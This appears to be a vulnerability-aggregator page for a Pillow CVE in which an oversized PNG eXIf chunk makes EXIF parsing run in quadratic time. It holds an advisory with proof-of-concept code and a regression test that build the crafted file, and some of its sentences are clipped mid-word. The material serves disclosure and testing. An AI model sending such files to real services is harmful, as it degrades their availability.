CVE-2026-96643
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
CVE-2026-96643 is a high vulnerability (CVSS 7.1) in Python Pillow, published October 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.37%, the 31st percentile. Fixed in pillow 13.0.0.
- Severity
- 7.1 HighCVSS 4.0, CVE List
- Exploit chance
- 0.37%EPSS, 31st percentile
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
13.0.0pillow +21 more
Description
Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pillowPyPI | 11.0.0 up to 13.0.0 | 13.0.0 |
pillowBitnami | 11.0.0 up to 13.0.0 | 13.0.0 |
pillowTuxCare:PyPI From an advisory covering 6 CVEs | 11.3.0 up to 11.3.0.post9+tuxcare, plus listed versions 11.3.0.post1+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare11.3.0.post5+tuxcare11.3.0.post6+tuxcare11.3.0.post7+tuxcare11.3.0.post8+tuxcare | 11.3.0.post9+tuxcare |
pillowTuxCare:PyPI From an advisory covering 6 CVEs | 11.2.1 up to 11.2.1.post11+tuxcare, plus listed versions 11.2.1.post1+tuxcare11.2.1.post10+tuxcare11.2.1.post2+tuxcare11.2.1.post3+tuxcare11.2.1.post4+tuxcare Show 5 moreShow less11.2.1.post5+tuxcare11.2.1.post6+tuxcare11.2.1.post7+tuxcare11.2.1.post8+tuxcare11.2.1.post9+tuxcare | 11.2.1.post11+tuxcare |
pillowDebian:12 | All versions, plus listed versions 10.0.0-110.1.0-110.2.0-110.3.0-110.3.0-2 Show 19 moreShow less10.4.0-110.4.0-1.111.1.0-111.1.0-211.1.0-311.1.0-411.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-19.4.0-1.19.4.0-1.1+deb12u19.5.0-1 | None known |
pillowDebian:13 | All versions, plus listed versions 11.1.0-511.1.0-5+deb13u111.1.0-5+deb13u211.1.0-5+deb13u311.1.0-5+deb13u4 Show 9 moreShow less11.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1 | None known |
pillowDebian:14 | All versions, plus listed versions 11.1.0-511.2.1-111.3.0-112.0.0-112.1.0-1 Show 5 moreShow less12.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1 | None known |
pillowPyPI | 11.0.0 up to 13.0.0, plus listed versions 11.1.011.2.111.3.012.0.012.1.012.1.112.2.012.3.0 | 13.0.0 |
python-PillowSUSE:Linux Enterprise Server 16.0 From an advisory covering 39 CVEs | before 11.3.0-160000.9.1 | 11.3.0-160000.9.1 |
python-PillowSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 39 CVEs | before 11.3.0-160000.9.1 | 11.3.0-160000.9.1 |
Show 12 moreShow less
| Package | Affected | Fixed |
|---|---|---|
pillow-python2Ubuntu:Pro:20.04:LTS | All versions, plus listed versions 6.2.1-3~build16.2.1-36.2.1-3ubuntu0.1~esm16.2.1-3ubuntu0.1~esm2 | None known |
pillowUbuntu:26.10 | before 12.3.0-1ubuntu2, plus listed versions 12.1.1-2ubuntu112.3.0-1ubuntu1 | 12.3.0-1ubuntu2 |
pillowUbuntu:26.04:LTS | before 12.1.1-2ubuntu1.5, plus listed versions 11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu1 Show 4 moreShow less12.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.312.1.1-2ubuntu1.4 | 12.1.1-2ubuntu1.5 |
pillowUbuntu:Pro:14.04:LTS From an advisory covering 39 CVEs | before 2.3.0-1ubuntu3.4+esm6, plus listed versions 2.2.1-1ubuntu22.2.1-2ubuntu12.2.1-3ubuntu22.2.1-3ubuntu32.2.1-3ubuntu4 Show 12 moreShow less2.2.1-3ubuntu62.3.0-1ubuntu12.3.0-1ubuntu22.3.0-1ubuntu32.3.0-1ubuntu3.22.3.0-1ubuntu3.32.3.0-1ubuntu3.42.3.0-1ubuntu3.4+esm12.3.0-1ubuntu3.4+esm22.3.0-1ubuntu3.4+esm32.3.0-1ubuntu3.4+esm42.3.0-1ubuntu3.4+esm5 | 2.3.0-1ubuntu3.4+esm6 |
pillowUbuntu:Pro:16.04:LTS From an advisory covering 39 CVEs | before 3.1.2-0ubuntu1.6+esm4, plus listed versions 2.9.0-13.0.0-13.0.0-1build13.1.0-13.1.1-1 Show 9 moreShow less3.1.2-0ubuntu13.1.2-0ubuntu1.13.1.2-0ubuntu1.33.1.2-0ubuntu1.43.1.2-0ubuntu1.53.1.2-0ubuntu1.63.1.2-0ubuntu1.6+esm13.1.2-0ubuntu1.6+esm23.1.2-0ubuntu1.6+esm3 | 3.1.2-0ubuntu1.6+esm4 |
pillowUbuntu:Pro:18.04:LTS From an advisory covering 39 CVEs | before 5.1.0-1ubuntu0.8+esm3, plus listed versions 4.1.1-3build24.3.0-2ubuntu15.0.0-15.1.0-15.1.0-1ubuntu0.2 Show 8 moreShow less5.1.0-1ubuntu0.35.1.0-1ubuntu0.45.1.0-1ubuntu0.55.1.0-1ubuntu0.65.1.0-1ubuntu0.75.1.0-1ubuntu0.85.1.0-1ubuntu0.8+esm15.1.0-1ubuntu0.8+esm2 | 5.1.0-1ubuntu0.8+esm3 |
pillowUbuntu:Pro:20.04:LTS From an advisory covering 39 CVEs | before 7.0.0-4ubuntu0.9+esm2, plus listed versions 6.1.0-16.1.0-1build16.2.1-27.0.0-47.0.0-4build1 Show 10 moreShow less7.0.0-4ubuntu0.17.0.0-4ubuntu0.27.0.0-4ubuntu0.37.0.0-4ubuntu0.47.0.0-4ubuntu0.57.0.0-4ubuntu0.67.0.0-4ubuntu0.77.0.0-4ubuntu0.87.0.0-4ubuntu0.97.0.0-4ubuntu0.9+esm1 | 7.0.0-4ubuntu0.9+esm2 |
pillowUbuntu:22.04:LTS From an advisory covering 39 CVEs | before 9.0.1-1ubuntu0.7, plus listed versions 8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.1 Show 5 moreShow less9.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.49.0.1-1ubuntu0.59.0.1-1ubuntu0.6 | 9.0.1-1ubuntu0.7 |
pillowUbuntu:24.04:LTS From an advisory covering 39 CVEs | before 10.2.0-1ubuntu1.5, plus listed versions 10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.210.2.0-1ubuntu1.310.2.0-1ubuntu1.4 | 10.2.0-1ubuntu1.5 |
pillowUbuntu:26.10 From an advisory covering 39 CVEs | before 12.3.0-1ubuntu2, plus listed versions 12.1.1-2ubuntu112.3.0-1ubuntu1 | 12.3.0-1ubuntu2 |
pillowUbuntu:26.04:LTS From an advisory covering 39 CVEs | before 12.1.1-2ubuntu1.5, plus listed versions 11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu1 Show 4 moreShow less12.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.312.1.1-2ubuntu1.4 | 12.1.1-2ubuntu1.5 |
python-PillowopenSUSE:Leap 16.0 From an advisory covering 39 CVEs | before 11.3.0-160000.9.1 | 11.3.0-160000.9.1 |
What each source reports
CVE List Score used 7.1
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
- Record
CVE-2026-96643- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
EUVDEUVD-2026-107564 7.1
Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
- Record
EUVD-2026-107564- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g4qv-2jxx-769h 7.1
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Summary
A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.
Details
Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:
while data and data.startswith(b"Exif\x00\x00"):
data = data[6:]
Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.
chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.
If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.
Steps to reproduce
This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.
import time
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
start = time.time()
with Image.open(BytesIO(data)) as im:
im.getexif()
print("took", time.time() - start, "seconds")
Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.
Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.
A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.
import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
with Image.open(BytesIO(data)) as im:
im.getexif()
Impact
- Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
- Confidentiality: none.
- Integrity: none.
- This fires through
Image.getexif(),Image._getexif(), andImageOps.exif_transpose().exif_transpose()is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.
- Record
GHSA-g4qv-2jxx-769h- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
NVD 7.1
Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
- Record
CVE-2026-96643- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSV 7.1
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
- Record
CVE-2026-96643- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-11
OSVDEBIAN-CVE-2026-96643 6.5
Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
- Record
DEBIAN-CVE-2026-96643- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 13 moreShow less
OSVGHSA-g4qv-2jxx-769h 7.1
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Summary
A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.
Details
Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:
while data and data.startswith(b"Exif\x00\x00"):
data = data[6:]
Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.
chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.
If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.
Steps to reproduce
This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.
import time
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
start = time.time()
with Image.open(BytesIO(data)) as im:
im.getexif()
print("took", time.time() - start, "seconds")
Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.
Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.
A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.
import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
with Image.open(BytesIO(data)) as im:
im.getexif()
Impact
- Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
- Confidentiality: none.
- Integrity: none.
- This fires through
Image.getexif(),Image._getexif(), andImageOps.exif_transpose().exif_transpose()is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.
- Record
GHSA-g4qv-2jxx-769h- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVPYSEC-2026-4342 6.5
Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
- Record
PYSEC-2026-4342- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:92861 8.8
Red Hat Security Advisory: Satellite 6.19 security update
- Record
RHSA-2026:92861- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-14
OSVRHSA-2026:95655 9.9
Red Hat Security Advisory: Satellite 6.16 EUS security update
- Record
RHSA-2026:95655- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-14
OSVRHSA-2026:95656 9.9
Red Hat Security Advisory: Satellite 6.17 security update
- Record
RHSA-2026:95656- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-14
OSVRHSA-2026:95657 9.8
Red Hat Security Advisory: Satellite 6.18 security update
- Record
RHSA-2026:95657- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-14
OSVUBUNTU-CVE-2026-96643 7.1
Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
- Record
UBUNTU-CVE-2026-96643- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-13
OSVBIT-pillow-2026-96643No score
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.
- Record
BIT-pillow-2026-96643- Updated
- 2026-11-02
OSVCLSA-2026-1792743656No score
TuxCare security update for pillow (6 CVEs)
TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.3.0.post9+tuxcare.
- Record
CLSA-2026-1792743656- Updated
- 2026-11-02
OSVCLSA-2026-1792752131No score
TuxCare security update for pillow (6 CVEs)
TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.2.1.post11+tuxcare.
- Record
CLSA-2026-1792752131- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22246-1No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues:
- CVE-2026-96636: decompression-bomb protection bypass via multi-frame
seek()in MPO and DCX (bsc#1286802). - CVE-2026-96637: decompression bomb check bypass in
SpiderImagePlugin.seek()leads to unbounded allocation DoS (bsc#1286801). - CVE-2026-96638: BMP RLE decoder memory-amplification DoS via unbounded delta escape/absolute mode (bsc#1286800).
- CVE-2026-96639: multi-frame loaders can reuse stale native image storage after mode transitions (bsc#1286799).
- CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
- CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
- CVE-2026-96642:
TarIOnegative size field causes infinite CPU-spin loop (bsc#1286796). - CVE-2026-96643: PNG eXIf chunk makes EXIF parsing run in quadratic time (bsc#1286795).
- CVE-2026-96778: heap buffer overflow writing JPEG comment after ICC profile fills buffer (bsc#1286793).
- CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
- CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
- CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
- CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
- CVE-2026-112394:
P;2LandP;4Ldecoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311). - CVE-2026-112395: Pillow tiled-TIFF decoder reads past tile buffer in
copy4(bsc#1286312). - CVE-2026-112396: heap use-after-free when encoding TIFF to an in-memory buffer (bsc#1286313).
- CVE-2026-112397: out-of-bounds access in
_imagingmorphon a zero-width image (bsc#1286314). - CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
- CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
- CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
- CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
- CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
- CVE-2026-112403: heap buffer overflow in
ImagingJpegDecodeallows for code execution (bsc#1286405). - CVE-2026-112404: Denial of Service via out-of-bounds read in TIFF decoding (bsc#1286388).
- CVE-2026-112405: NULL pointer dereference in
Image.mergevia an unvalidated band 0 (bsc#1286404). - CVE-2026-112406: infinite loop in
PdfParser.rewrite_pageson page treeParentcycle (bsc#1286403). - CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
- CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
- CVE-2026-112893: Denial of Service via invalid pointer free during font rendering (bsc#1286392).
- CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
- CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
- CVE-2026-112896: TIFF encoder
ColorMapplane-size mismatch causes a heap out-of-bounds read (bsc#1286400). - CVE-2026-112897:
TiffDecodereturns uninitialized memory as pixels for short JPEG strips (bsc#1286398). - CVE-2026-112898:
Image.quantize()with empty palette can leak uninitialized stack memory (bsc#1286399). - CVE-2026-112899: EPS
load(scale)lets Ghostscript render past the decompression bomb limit (bsc#1286489). - CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
- CVE-2026-112901: ReDoS in
XbmImagePlugincan be triggered by 512-byte file (bsc#1286396). - CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).
- CVE-2026-114501: Arrow export leaks stale heap…
- Record
openSUSE-SU-2026:22246-1- Updated
- 2026-11-11
OSVSUSE-SU-2026:24656-1No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues:
- CVE-2026-96636: decompression-bomb protection bypass via multi-frame
seek()in MPO and DCX (bsc#1286802). - CVE-2026-96637: decompression bomb check bypass in
SpiderImagePlugin.seek()leads to unbounded allocation DoS (bsc#1286801). - CVE-2026-96638: BMP RLE decoder memory-amplification DoS via unbounded delta escape/absolute mode (bsc#1286800).
- CVE-2026-96639: multi-frame loaders can reuse stale native image storage after mode transitions (bsc#1286799).
- CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
- CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
- CVE-2026-96642:
TarIOnegative size field causes infinite CPU-spin loop (bsc#1286796). - CVE-2026-96643: PNG eXIf chunk makes EXIF parsing run in quadratic time (bsc#1286795).
- CVE-2026-96778: heap buffer overflow writing JPEG comment after ICC profile fills buffer (bsc#1286793).
- CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
- CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
- CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
- CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
- CVE-2026-112394:
P;2LandP;4Ldecoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311). - CVE-2026-112395: Pillow tiled-TIFF decoder reads past tile buffer in
copy4(bsc#1286312). - CVE-2026-112396: heap use-after-free when encoding TIFF to an in-memory buffer (bsc#1286313).
- CVE-2026-112397: out-of-bounds access in
_imagingmorphon a zero-width image (bsc#1286314). - CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
- CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
- CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
- CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
- CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
- CVE-2026-112403: heap buffer overflow in
ImagingJpegDecodeallows for code execution (bsc#1286405). - CVE-2026-112404: Denial of Service via out-of-bounds read in TIFF decoding (bsc#1286388).
- CVE-2026-112405: NULL pointer dereference in
Image.mergevia an unvalidated band 0 (bsc#1286404). - CVE-2026-112406: infinite loop in
PdfParser.rewrite_pageson page treeParentcycle (bsc#1286403). - CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
- CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
- CVE-2026-112893: Denial of Service via invalid pointer free during font rendering (bsc#1286392).
- CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
- CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
- CVE-2026-112896: TIFF encoder
ColorMapplane-size mismatch causes a heap out-of-bounds read (bsc#1286400). - CVE-2026-112897:
TiffDecodereturns uninitialized memory as pixels for short JPEG strips (bsc#1286398). - CVE-2026-112898:
Image.quantize()with empty palette can leak uninitialized stack memory (bsc#1286399). - CVE-2026-112899: EPS
load(scale)lets Ghostscript render past the decompression bomb limit (bsc#1286489). - CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
- CVE-2026-112901: ReDoS in
XbmImagePlugincan be triggered by 512-byte file (bsc#1286396). - CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).
- CVE-2026-114501: Arrow export leaks stale heap…
- Record
SUSE-SU-2026:24656-1- Updated
- 2026-11-12
OSVUSN-9064-1No score
pillow vulnerabilities
